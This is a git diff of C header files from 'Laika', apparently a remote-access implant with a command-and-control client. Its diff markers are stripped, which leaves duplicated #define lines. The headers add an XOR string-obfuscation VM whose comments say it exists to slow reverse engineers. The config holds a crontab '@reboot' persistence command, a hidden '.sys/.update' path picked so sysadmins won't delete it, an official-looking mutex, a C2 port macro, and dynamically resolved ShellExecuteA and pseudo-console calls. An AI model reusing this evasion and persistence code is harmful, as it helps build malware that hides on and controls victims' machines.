#define INI_MAX_LINE 200
# define INI_MAX_LINE 200
#endif
/* Nonzero to allow heap line buffer to grow via realloc(), zero for a
fixed-size buffer of INI_MAX_LINE bytes. Only applies if INI_USE_STACK is
zero. */
#ifndef INI_ALLOW_REALLOC
#define INI_ALLOW_REALLOC 0
# define INI_ALLOW_REALLOC 0
#endif
/* Initial size in bytes for heap line buffer. Only applies if INI_USE_STACK
is zero. */
#ifndef INI_INITIAL_ALLOC
#define INI_INITIAL_ALLOC 200
# define INI_INITIAL_ALLOC 200
#endif
/* Stop parsing on first error (default is to keep parsing). */
#ifndef INI_STOP_ON_FIRST_ERROR
#define INI_STOP_ON_FIRST_ERROR 0
# define INI_STOP_ON_FIRST_ERROR 0
#endif
/* Nonzero to call the handler at the start of each new section (with
name and value NULL). Default is to only call the handler on
each name=value pair. */
#ifndef INI_CALL_HANDLER_ON_NEW_SECTION
#define INI_CALL_HANDLER_ON_NEW_SECTION 0
# define INI_CALL_HANDLER_ON_NEW_SECTION 0
#endif
/* Nonzero to allow a name without a value (no '=' or ':' on the line) and
call the handler with value NULL in this case. Default is to treat
no-value lines as an error. */
#ifndef INI_ALLOW_NO_VALUE
#define INI_ALLOW_NO_VALUE 0
# define INI_ALLOW_NO_VALUE 0
#endif
/* Nonzero to use custom ini_malloc, ini_free, and ini_realloc memory
@@ -146,10 +144,9 @@ int ini_parse_string(const char* string, ini_handler handler, void* user);
have the same signatures as malloc/free/realloc and behave in a similar
way. ini_realloc is only needed if INI_ALLOW_REALLOC is set. */
#ifndef INI_CUSTOM_ALLOCATOR
#define INI_CUSTOM_ALLOCATOR 0
# define INI_CUSTOM_ALLOCATOR 0
#endif
#ifdef __cplusplus
}
#endif

126
lib/include/core/lbox.h Normal file
View File

@@ -0,0 +1,126 @@
#ifndef LAIKA_BOX_H
#define LAIKA_BOX_H
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/lvm.h"
#include "laika.h"
#include <inttypes.h>
#define LAIKA_BOX_SCRATCH_SIZE 128
#define LAIKA_BOX_HEAPSIZE 256
enum
{
LAIKA_BOX_UNLOCKED_INDX, /* for output */
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
LAIKA_BOX_DATA_INDX /* for input */
};
/* Laika Box:
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short
amount of time. Of course, this can be bypassed with a simple debugger and setting a breakpoint
right after the data is 'unlocked', but the game of obfuscation isn't to prevent the data from
being seen, it's to slow the reverse engineer down.
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to
make it more painful for the reverse engineer to quickly dump boxes from memory, forcing them to
set breakpoints across the executable. Each box has its own VM, with it's own deobfuscation
routine. This makes static analysis a painful route for string dumping. These apis, while can be
used directly, are abstracted through macros with the pre-built boxes.
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in
`lboxconfig.h` are passed to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will
be extended in the future with more boxes and such, however for the time being only
LAIKA_BOX_SKID_* is implemented.
*/
struct sLaikaB_box
{
uint8_t unlockedData[LAIKA_BOX_HEAPSIZE];
uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE];
uint8_t code[LAIKA_VM_CODESIZE];
};
/* ======================================[[ Box Var API ]]====================================== */
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
type ident; \
struct sLaikaB_box __box##ident = box; \
laikaB_unlock(&__box##ident, __data##ident); \
ident = (type)__box##ident.unlockedData;
#define LAIKA_BOX_ENDVAR(ident) laikaB_lock(&__box##ident);
#ifdef LAIKA_OBFUSCATE
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
# define LAIKA_BOX_SKID_END(ident) LAIKA_BOX_ENDVAR(ident)
#else /* disable obfuscations */
# define LAIKA_BOX_SKID_START(type, ident, strmacro) type ident = strmacro;
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif
/* clang-format off */
/* ======================================[[ Laika Boxes ]]====================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
#define LAIKA_BOX_SKID(_key) \
{ \
.unlockedData = {0}, /* reserved */ \
.code = { /* stack layout: \
[0] - unlockedData (ptr) \
[1] - data (ptr) \
[2] - key (uint8_t) \
[3] - working data (uint8_t) \
*/ \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), /* LOOP_START */ \
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
OP_EXIT \
} \
}
/* ======================================[[ Raw Box API ]]====================================== */
LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
{
struct sLaikaV_vm vm = {
/* boxes have 3 reserved constants */
.constList = {
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
},
.code = {0}, /* zero initalized */
.stack = {0}, /* zero initalized */
.pc = 0
};
memcpy(vm.code, box->code, LAIKA_VM_CODESIZE);
laikaV_execute(&vm);
return (void *)box->unlockedData;
}
/* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
{
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
}
/* clang-format on */
/* include KEY_* & DATA_* macros for each obfuscated string */
#include "lboxconfig.h"
#endif

55
lib/include/core/lerror.h Normal file
View File

@@ -0,0 +1,55 @@
#ifndef LAIKA_ERROR_H
#define LAIKA_ERROR_H
#include "laika.h"
#include <setjmp.h>
#include <stdio.h>
/* defines errorstack size */
#define LAIKA_MAXERRORS 32
/* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
#define LAIKA_CATCH \
} \
else \
{
#define LAIKA_TRYEND \
} \
--eLaika_errIndx;
/* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */
#define LAIKA_ISPROTECTED (eLaika_errIndx >= 0)
/* LAIKA_ERROR(printf args):
if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
otherwise program is exit()'d. if LAIKA_DEBUG_BUILD is defined printf is called with passed args, else
arguments are ignored.
*/
#ifndef LAIKA_DEBUG_BUILD
# define LAIKA_ERROR(...) \
do { \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while (0);
# define LAIKA_WARN(...) ((void)0) /* no op */
#else
# define LAIKA_ERROR(...) \
do { \
printf("[ERROR] : " __VA_ARGS__); \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while (0);
# define LAIKA_WARN(...) printf("[WARN] : " __VA_ARGS__);
#endif
extern int eLaika_errIndx;
extern jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
#endif

63
lib/include/core/lmem.h Normal file
View File

@@ -0,0 +1,63 @@
#ifndef LAIKA_MEM_H
#define LAIKA_MEM_H
#include "laika.h"
#define GROW_FACTOR 2
/* microsoft strikes again with their lack of support for VLAs */
#if _MSC_VER
# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
# define ENDVLA(var) laikaM_free(var);
#else
# define VLA(type, var, sz) type var[sz];
# define ENDVLA(var) ((void)0) /* no op */
#endif
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
#define laikaM_free(buf) laikaM_realloc(buf, 0)
/* ========================================[[ Vectors ]]======================================== */
#define laikaM_countVector(name) name##_COUNT
#define laikaM_capVector(name) name##_CAP
#define laikaM_newVector(type, name) \
type *name; \
int name##_COUNT; \
int name##_CAP
#define laikaM_initVector(name, startCap) \
name = NULL; \
name##_COUNT = 0; \
name##_CAP = startCap
#define laikaM_growVector(type, name, needed) \
if (name##_COUNT + needed >= name##_CAP || name == NULL) { \
name##_CAP = (name##_CAP + needed) * GROW_FACTOR; \
name = (type *)laikaM_realloc(name, sizeof(type) * name##_CAP); \
}
/* moves vector elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvVector(name, indx, numElem) \
do { \
int _i, _sz = ((name##_COUNT - indx) - numElem); \
for (_i = 0; _i < _sz; _i++) \
name[indx + _i] = name[indx + numElem + _i]; \
name##_COUNT -= numElem; \
} while (0);
/* moves vector elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertVector(name, indx, numElem) \
do { \
int _i; \
for (_i = name##_COUNT; _i > indx; _i--) \
name[_i] = name[_i - 1]; \
name##_COUNT += numElem; \
} while (0);
void *laikaM_realloc(void *buf, size_t sz);
bool laikaM_isBigEndian(void);
void laikaM_reverse(uint8_t *buf, size_t sz);
#endif

View File

@@ -1,6 +1,7 @@
#ifndef LAIKA_RSA_H
#define LAIKA_RSA_H
#include "lconfig.h"
#include "sodium.h"
#include <stdbool.h>

View File

@@ -1,13 +1,15 @@
#ifndef LAIKA_TASK_H
#define LAIKA_TASK_H
#include <time.h>
#include "laika.h"
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
#include <time.h>
struct sLaika_task {
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
struct sLaika_task
{
struct sLaika_task *next;
taskCallback callback;
void *uData;
@@ -15,14 +17,16 @@ struct sLaika_task {
int delta;
};
struct sLaika_taskService {
struct sLaika_taskService
{
struct sLaika_task *headTask;
};
void laikaT_initTaskService(struct sLaika_taskService *service);
void laikaT_cleanTaskService(struct sLaika_taskService *service);
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData);
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
taskCallback callback, void *uData);
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task);
void laikaT_pollTasks(struct sLaika_taskService *service);

178
lib/include/core/lvm.h Normal file
View File

@@ -0,0 +1,178 @@
#ifndef LAIKA_VM_H
#define LAIKA_VM_H
/* Laika VM:
This is an obfuscation technique where vital code can be executed in a
stack-based VM, inlined into the function. The VM instruction-set is fairly
simple, see the OP_* enum for avaliable opcodes and their expected arguments.
The VM is turing-complete, however the instruction-set has been curated to
fit this specific use case.
*/
#include "core/lerror.h"
#include "laika.h"
#include <inttypes.h>
#define LAIKA_VM_STACKSIZE 64
#define LAIKA_VM_CONSTSIZE 32
struct sLaikaV_vm_val
{
union
{
uint8_t i;
uint8_t *ptr;
};
};
struct sLaikaV_vm
{
struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
uint8_t code[LAIKA_VM_CODESIZE];
int pc;
};
#define LAIKA_MAKE_VM(_consts, _code) \
{ \
.constList = _consts, .code = _code, .pc = 0, .stack = { 0 } \
}
/* constants */
#define LAIKA_MAKE_VM_INT(_i) \
{ \
.i = _i \
}
#define LAIKA_MAKE_VM_PTR(_ptr) \
{ \
.ptr = _ptr \
}
/* instructions */
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
enum
{
OP_EXIT,
OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
/* arithmetic */
OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */
OP_SUB, /* stk_indx[uint8_t] = stk_indx[uint8_t] - stk_indx[uint8_t] */
OP_MUL, /* stk_indx[uint8_t] = stk_indx[uint8_t] * stk_indx[uint8_t] */
OP_DIV, /* stk_indx[uint8_t] = stk_indx[uint8_t] / stk_indx[uint8_t] */
OP_AND, /* stk_indx[uint8_t] = stk_indx[uint8_t] & stk_indx[uint8_t] */
OP_OR, /* stk_indx[uint8_t] = stk_indx[uint8_t] | stk_indx[uint8_t] */
OP_XOR, /* stk_indx[uint8_t] = stk_indx[uint8_t] ^ stk_indx[uint8_t] */
/* control-flow */
OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
/* misc. */
#ifdef LAIKA_DEBUG_BUILD
OP_DEBUG
#endif
};
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
{
#define READBYTE (vm->code[vm->pc++])
#define BINOP(x) \
{ \
uint8_t a = READBYTE; \
uint8_t b = READBYTE; \
uint8_t c = READBYTE; \
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
break; \
}
while (vm->code[vm->pc]) {
switch (vm->code[vm->pc++]) {
case OP_LOADCONST: {
uint8_t indx = READBYTE;
uint8_t constIndx = READBYTE;
vm->stack[indx] = vm->constList[constIndx];
break;
}
case OP_PUSHLIT: {
uint8_t indx = READBYTE;
uint8_t lit = READBYTE;
vm->stack[indx].i = lit;
break;
}
case OP_READ: {
uint8_t indx = READBYTE;
uint8_t ptr = READBYTE;
vm->stack[indx].i = *vm->stack[ptr].ptr;
break;
}
case OP_WRITE: {
uint8_t ptr = READBYTE;
uint8_t indx = READBYTE;
*vm->stack[ptr].ptr = vm->stack[indx].i;
break;
}
case OP_INCPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr++;
break;
}
case OP_DECPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr--;
break;
}
case OP_ADD:
BINOP(+);
case OP_SUB:
BINOP(-);
case OP_MUL:
BINOP(*);
case OP_DIV:
BINOP(/);
case OP_AND:
BINOP(&);
case OP_OR:
BINOP(|);
case OP_XOR:
BINOP(^);
case OP_TESTJMP: {
uint8_t indx = READBYTE;
int8_t jmp = READBYTE;
/* if stack indx is true, jump by jmp (signed 8-bit int) */
if (vm->stack[indx].i)
vm->pc += jmp;
break;
}
#ifdef LAIKA_DEBUG_BUILD
case OP_DEBUG: {
int i;
/* print stack info */
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
break;
}
#endif
default:
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc],
vm->pc);
}
}
#undef READBYTE
#undef BINOP
}
#endif

View File

@@ -1,54 +0,0 @@
// Copyright 2020 Joshua J Baker. All rights reserved.
// Use of this source code is governed by an MIT-style
// license that can be found in the LICENSE file.
#ifndef HASHMAP_H
#define HASHMAP_H
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
struct hashmap;
struct hashmap *hashmap_new(size_t elsize, size_t cap,
uint64_t seed0, uint64_t seed1,
uint64_t (*hash)(const void *item,
uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b,
void *udata),
void (*elfree)(void *item),
void *udata);
struct hashmap *hashmap_new_with_allocator(
void *(*malloc)(size_t),
void *(*realloc)(void *, size_t),
void (*free)(void*),
size_t elsize, size_t cap,
uint64_t seed0, uint64_t seed1,
uint64_t (*hash)(const void *item,
uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b,
void *udata),
void (*elfree)(void *item),
void *udata);
void hashmap_free(struct hashmap *map);
void hashmap_clear(struct hashmap *map, bool update_cap);
size_t hashmap_count(struct hashmap *map);
bool hashmap_oom(struct hashmap *map);
void *hashmap_get(struct hashmap *map, const void *item);
void *hashmap_set(struct hashmap *map, void *item);
void *hashmap_delete(struct hashmap *map, void *item);
void *hashmap_probe(struct hashmap *map, uint64_t position);
bool hashmap_scan(struct hashmap *map,
bool (*iter)(const void *item, void *udata), void *udata);
uint64_t hashmap_sip(const void *data, size_t len,
uint64_t seed0, uint64_t seed1);
uint64_t hashmap_murmur(const void *data, size_t len,
uint64_t seed0, uint64_t seed1);
// DEPRECATED: use `hashmap_new_with_allocator`
void hashmap_set_allocator(void *(*malloc)(size_t), void (*free)(void*));
#endif

View File

@@ -1,32 +1,37 @@
#ifndef LAIKA_LAIKA_H
#define LAIKA_LAIKA_H
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include "lconfig.h"
#ifdef DEBUG
# define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout);
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#ifdef LAIKA_DEBUG_BUILD
# define LAIKA_DEBUG(...) \
printf("[~] " __VA_ARGS__); \
fflush(stdout);
#else
# define LAIKA_DEBUG(...) ((void)0) /* no op */
# define LAIKA_DEBUG(...) ((void)0) /* no op */
#endif
#ifndef _MSC_VER
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
#else
# define LAIKA_FORCEINLINE __forceinline
# define LAIKA_FORCEINLINE __forceinline
#endif
LAIKA_FORCEINLINE int MIN(int a, int b) {
LAIKA_FORCEINLINE int MIN(int a, int b)
{
return a < b ? a : b;
}
LAIKA_FORCEINLINE int MAX(int a, int b) {
LAIKA_FORCEINLINE int MAX(int a, int b)
{
return a > b ? a : b;
}
@@ -35,7 +40,5 @@ struct sLaika_socket;
struct sLaika_pollList;
struct sLaika_task;
struct sLaika_taskService;
struct sLaika_content;
struct sLaika_contentContext;
#endif

View File

@@ -1,118 +0,0 @@
#ifndef LAIKA_BOX_H
#define LAIKA_BOX_H
#include <inttypes.h>
#include "laika.h"
#include "lmem.h"
#include "lvm.h"
#include "lsodium.h"
#define LAIKA_BOX_SCRATCH_SIZE 128
#define LAIKA_BOX_HEAPSIZE 256
enum {
LAIKA_BOX_UNLOCKED_INDX, /* for output */
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
LAIKA_BOX_DATA_INDX /* for input */
};
/* Laika Box:
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time.
Of course, this can be bypassed with a simple debugger and setting a breakpoint right after the data is 'unlocked',
but the game of obfuscation isn't to prevent the data from being seen, it's to slow the reverse engineer down.
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes.
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed
to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such,
however for the time being only LAIKA_BOX_SKID_* is implemented.
*/
struct sLaikaB_box {
uint8_t unlockedData[LAIKA_BOX_HEAPSIZE];
uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE];
uint8_t code[LAIKA_VM_CODESIZE];
};
/* ==============================================[[ Box Var API ]]=============================================== */
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
type ident; \
struct sLaikaB_box __box##ident = box; \
laikaB_unlock(&__box##ident, __data##ident); \
ident = (type)__box##ident.unlockedData;
#define LAIKA_BOX_ENDVAR(ident) \
laikaB_lock(&__box##ident);
#ifdef LAIKA_OBFUSCATE
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
# define LAIKA_BOX_SKID_END(ident) \
LAIKA_BOX_ENDVAR(ident)
#else /* disable obfuscations */
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
type ident = strmacro;
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif
/* ==============================================[[ Laika Boxes ]]=============================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
#define LAIKA_BOX_SKID(_key) { \
.unlockedData = {0}, /* reserved */ \
.code = { /* stack layout: \
[0] - unlockedData (ptr) \
[1] - data (ptr) \
[2] - key (uint8_t) \
[3] - working data (uint8_t) \
*/ \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), \
/* LOOP_START */ \
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
OP_EXIT \
} \
}
/* ==============================================[[ Raw Box API ]]=============================================== */
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
struct sLaikaV_vm vm = {
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
.constList = {
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
},
.code = {0},
.stack = {0},
.pc = 0
};
memcpy(vm.code, box->code, LAIKA_VM_CODESIZE);
laikaV_execute(&vm);
return (void*)box->unlockedData;
}
/* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box) {
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
}
/* include KEY_* & DATA_* macros for each obfuscated string */
#include "lboxconfig.h"
#endif

View File

@@ -13,16 +13,16 @@
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
/* settings */
#cmakedefine LAIKA_DEBUG_BUILD
#cmakedefine LAIKA_PERSISTENCE
#cmakedefine LAIKA_OBFUSCATE
/* raw obfuscated strings */
/* =============================================[[ Linux Strings ]]============================================== */
/* =====================================[[ Linux Strings ]]===================================== */
/* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */
/* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
@@ -31,10 +31,10 @@
#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
/* ============================================[[ Windows Strings ]]============================================= */
/* ====================================[[ Windows Strings ]]==================================== */
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
/* looks official enough */

View File

@@ -1,64 +0,0 @@
#ifndef LAIKA_CONTENT_H
#define LAIKA_CONTENT_H
#include "laika.h"
#include "lpacket.h"
#include <stdio.h>
#include <inttypes.h>
enum {
CONTENT_IN = true, /* being recv'd from peer */
CONTENT_OUT = false /* being sent to peer */
};
enum {
CONTENT_TYPE_FILE
};
enum {
CONTENT_ERR_ID_IN_USE,
CONTENT_ERR_INVALID_ID,
CONTENT_ERR_REJECTED
};
typedef uint8_t CONTENT_TYPE;
typedef uint8_t CONTENT_ERRCODE;
typedef uint16_t CONTENT_ID;
typedef void (*contentRecvEvent)(struct sLaika_contentContext *context, struct sLaika_content *content);
typedef bool (*contentNewEvent)(struct sLaika_contentContext *context, struct sLaika_content *content);
typedef void (*contentErrorEvent)(struct sLaika_contentContext *context, struct sLaika_content *content, CONTENT_ERRCODE err);
struct sLaika_content {
struct sLaika_content *next;
FILE *fd;
uint32_t sz; /* content size */
uint32_t processed;
CONTENT_ID id;
CONTENT_TYPE type;
bool direction;
};
struct sLaika_contentContext {
struct sLaika_content *head;
CONTENT_ID nextID;
contentRecvEvent onReceived;
contentNewEvent onNew;
contentErrorEvent onError;
};
void laikaF_initContext(struct sLaika_contentContext *context);
void laikaF_cleanContext(struct sLaika_contentContext *context);
void laikaF_setupEvents(struct sLaika_contentContext *context, contentRecvEvent onRecv, contentNewEvent onNew, contentErrorEvent onError);
int laikaF_sendContent(struct sLaika_peer *peer, FILE *fd, CONTENT_TYPE type);
void laikaF_pollContent(struct sLaika_peer *peer);
void laikaF_handleContentNew(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaF_handleContentError(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaF_handleContentChunk(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
#endif

View File

@@ -1,49 +0,0 @@
#ifndef LAIKA_ERROR_H
#define LAIKA_ERROR_H
#include <stdio.h>
#include <setjmp.h>
#include "laika.h"
/* defines errorstack size */
#define LAIKA_MAXERRORS 32
/* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
#define LAIKA_CATCH } else {
#define LAIKA_TRYEND } --eLaika_errIndx;
/* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */
#define LAIKA_ISPROTECTED (eLaika_errIndx >= 0)
/* LAIKA_ERROR(printf args):
if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
otherwise program is exit()'d. if DEBUG is defined printf is called with passed args, else
arguments are ignored.
*/
#ifndef DEBUG
#define LAIKA_ERROR(...) do { \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while(0);
#define LAIKA_WARN(...) ((void)0) /* no op */
#else
#define LAIKA_ERROR(...) do { \
printf("[ERROR] : " __VA_ARGS__); \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while(0);
#define LAIKA_WARN(...) \
printf("[WARN] : " __VA_ARGS__);
#endif
extern int eLaika_errIndx;
extern jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
#endif

View File

@@ -1,44 +0,0 @@
#ifndef LAIKA_MEM_H
#define LAIKA_MEM_H
#include "laika.h"
#define GROW_FACTOR 2
/* microsoft strikes again with their lack of support for VLAs */
#if _MSC_VER
#define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type)*sz);
#define ENDVLA(var) laikaM_free(var);
#else
#define VLA(type, var, sz) type var[sz];
#define ENDVLA(var) ((void)0) /* no op */
#endif
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
#define laikaM_free(buf) laikaM_realloc(buf, 0)
#define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \
}
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) do { \
int _i, _sz = ((count-indx)-numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx+_i] = buf[indx+numElem+_i]; \
count -= numElem; \
} while(0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) do { \
int _i; \
for (_i = count; _i > indx; _i--) \
buf[_i] = buf[_i-1]; \
count += numElem; \
} while(0);
void *laikaM_realloc(void *buf, size_t sz);
#endif

46
lib/include/lobf.h Normal file
View File

@@ -0,0 +1,46 @@
#ifndef LAIKA_OBF_H
#define LAIKA_OBF_H
#include "laika.h"
#ifdef _WIN32
# include <process.h>
# include <windows.h>
#ifdef LAIKA_OBFUSCATE
/* WINAPI types */
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
